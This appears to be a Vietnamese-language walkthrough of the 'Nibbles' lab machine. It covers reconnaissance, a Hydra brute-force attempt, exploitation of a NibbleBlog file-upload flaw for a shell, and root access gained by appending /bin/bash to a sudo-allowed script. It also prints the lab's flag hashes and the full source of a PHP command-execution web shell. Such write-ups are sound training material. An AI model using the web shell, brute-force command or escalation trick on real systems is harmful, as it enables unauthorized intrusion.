Nibbles
Nibbles is a fairly simple machine, however with the inclusion of a login blacklist, it is a fair bit more challenging to find valid credentials. Luckily, a username can be enumerated and guessing the correct password does not take long for most.
Initial Reconnaissance
Service Scanning
$ sudo nmap -A 10.129.200.170
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelKết quả scan từ Nmap cho thấy target đang mở 2 dịch vụ đso là SSH và HTTP. Thông tin về phiên bản cho ta biết hệ điều hành đang chạy là Ubuntu.
HTTP 80
Trên trang chính của trang web, chỉ có 1 dòng chữ Hello world!.

Không có gì đáng chú ý ở đây ngoài việc trong source code có nhắc chúng ta truy cập vào thư mục /nibbleblog/, điều này cho thấy website được xây dựng bằng một phiên bản nào đó của NibbleBlog – một blog engine miễn phí viết bằng PHP.
/nibbleblog

Và không có bài viết nào cả.
Directory Enumeration
Chúng ta sẽ sử dụng gobuster để scan những thư mục và file ẩn trên web server này:
gobuster dir -u http://10.129.200.170/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403
/nibbleblog/admin

Mặc dù thư mục có tên là admin, nhưng nó không tiết lộ thông tin nhạy cảm nào.
/nibble/admin.php

Chúng ta có thể thử đăng nhập bằng các credentials mặc định phổ biến như admin:admin, admin:password, admin:root, admin:123456; tuy nhiên, không cái nào được cả.
Khi yêu cầu đặt lại mật khẩu mới, trang web trả về lỗi.

/nibbleblog/content

Trong thư mục /nibbleblog/content, chúng ta phát hiện một thư mục con tên là private. Ta nên kiểm tra kỹ hơn vì nó có thể chứa thông tin nhạy cảm.
/nibbleblog/content/private

Trong thư mục này không có gì đặc biệt, và chúng ta cũng không thể đọc source code của các file PHP.
Chỉ còn lại 2 file duy nhất có khả năng chứa thông tin nhạy cảm là config.xml và users.xml.
/nibbleblog/content/private/config.xml
File config.xml không tiết lộ thông tin gì.

/nibbleblog/content/private/users.xml
File users.xml thì cho thấy user admin tồn tại, không còn gí hết.

/nibbleblog/content/public

Không có gì trong thư mục này.
/nibbleblog/README
File README tiết lộ version, code name của NibbleBlog và ngày phát hành.

/nibbleblog/update.php

Thông báo tại đây gợi ý rằng có thể file config.xml chứa điều gì đó đặc biệt, vì nó đã được cập nhật. Nhưng cũng chỉ vậy thôi.
Arbitrary File Upload
Phiên bản NibbleBlog này tồn tại lỗ hổng Arbitrary File Upload (CVE-2015-6967), cho phép attacker đã xác thực upload và thực thi mã PHP tùy ý trên web server.


Tuy nhiên, exploit này yêu cầu một cặp username và password, trong khi hiện tại chúng ta mới chỉ xác định được username.
Dashboard Authentication as admin
Bây giờ, chúng ta chặn request đăng nhập sử dụng Burp Suite và xem các tham số POST để sau đó tạo lệnh Hydra nhằm thực hiện dictionary attack.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.200.170 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect"
Kết quả cho thấy user admin có vẻ có nhiều mật khẩu hợp lệ. Điều này xảy ra vì chúng ta sử dụng chuỗi Incorrect làm điều kiện xác định password sai, nhưng trang đăng nhập lại chặn chúng ta và trả về thông báo Nibbleblog security error - Blacklist protection, khiến cho quá trình attack không thể tiếp tục vì cơ chế rate limiting đã được áp dụng.

Vậy nên dictionary attack không khả thi.
Chúng ta thử đoán mật khẩu dựa trên những thông tin liên quan đã thu thập trong giai đoạn reconnaissance ban đầu, chẳng hạn như passwd, PASSWORD, pw, Admin, ADMIN, 123456789, nibbleblog, yumyum, coffee, nibble,…
Cuối cùng, chúng ta đoán đúng mật khẩu là: nibbles, và truy cập thành công vào khu vực admin.

Shell as nibbler
Chúng ta đã khai thác lỗ hổng Arbitrary File Upload và thành công có được initial access vào hệ thống với user nibbler.

user.txt
meterpreter > cd /home/nibbler
meterpreter > ls
Listing: /home/nibbler
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 0 fil 2017-12-29 17:29:56 +0700 .bash_history
040775/rwxrwxr-x 4096 dir 2017-12-11 10:04:04 +0700 .nano
100400/r-------- 1855 fil 2017-12-11 10:07:21 +0700 personal.zip
100400/r-------- 33 fil 2021-03-12 22:45:55 +0700 user.txt
meterpreter > cat user.txt
79c03865431abf47b90ef24b9695e148personal.zip
Trong thư mục home của nibbler, chúng ta phát hiện một file zip khá thú vị.
meterpreter > shell
Process 1508 created.
Channel 4 created.
cd /home/nibbler
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
ls -la
total 24
drwxr-xr-x 4 nibbler nibbler 4096 Aug 2 10:22 .
drwxr-xr-x 3 root root 4096 Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 personal
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Mar 12 2021 user.txtSau khi giải nén, bên trong có script monitor.sh, nhưng script này không chạy được vì biến môi trường TERM chưa được thiết lập.
personal/stuff/monitor.sh
TERM environment variable not set.
personal/stuff/monitor.sh: 26: personal/stuff/monitor.sh: [[: not found
personal/stuff/monitor.sh: 36: personal/stuff/monitor.sh: [[: not found
personal/stuff/monitor.sh: 43: personal/stuff/monitor.sh: [[: not foundChúng ta có thể khắc phục bằng cách stabilizing shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/home/nibbler$ export TERM=xterm-256color
export TERM=xterm-256colornibbler@Nibbles:/home/nibbler$ personal/stuff/monitor.sh
personal/stuff/monitor.sh
Internet: Disconnected
Operating System Type : GNU/Linux
OS Name : Ubuntu
UBUNTU_CODENAME=xenial
OS Version : 16.04.3 LTS (Xenial Xerus)
Architecture : x86_64
Kernel Release : 4.4.0-104-generic
Hostname : Nibbles
Internal IP : 10.129.200.170 dead:beef::250:56ff:feb0:2e78
External IP :
Name Servers : DO 1.1.1.1 8.8.8.8
Logged In users :
Ram Usages :
total used free shared buff/cache available
Mem: 974M 232M 184M 10M 558M 559M
Swap Usages :
total used free shared buff/cache available
Swap: 1.0G 0B 1.0G
Disk Usages :
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 472M 133M 330M 29% /boot
Load Average : average:1.00,1.00,
System Uptime Days/(HH:MM) : 38 minKhi script chạy, nó in ra rất nhiều thông tin về hệ thống.
Sudo Permissions
Ta thấy rằng user nibbler có thể chạy sudo -l mà không cần password.
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.shVì nibbler có toàn quyền chỉnh sửa script này, chúng ta chỉ cần thêm dòng /bin/bash vào cuối script để có được shell với quyền root.
Shell as root
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "/bin/bash" >> monitor.sh
echo "/bin/bash" > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
monitor.sh/nibbler/personal/stuff/
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)Như vậy, chúng ta đã thành công leo quyền và chiếm được quyền root trên hệ thống.
root.txt
root@Nibbles:/home/nibbler/personal/stuff# cd /root
cd /root
root@Nibbles:~# ls -la
ls -la
total 28
drwx------ 4 root root 4096 Mar 12 2021 .
drwxr-xr-x 23 root root 4096 Mar 12 2024 ..
-rw------- 1 root root 0 Dec 29 2017 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Dec 10 2017 .cache
drwxr-xr-x 2 root root 4096 Dec 10 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rwx------ 1 root root 33 Mar 12 2021 root.txt
root@Nibbles:~# cat root.txt
cat root.txt
de5e5d6619862a8aa5b9b212314e0cddShell Without Metasploit
Nếu không sử dụng Metasploit, chúng ta vẫn có thể thực hiện các bước sau để có được quyền truy cập vào target system:
Vào mục Plugins.

Chọn Configure.

Sau đó upload một web shell.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat shell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Payload sẽ được lưu tại /nibbleblog/content/private/plugins.


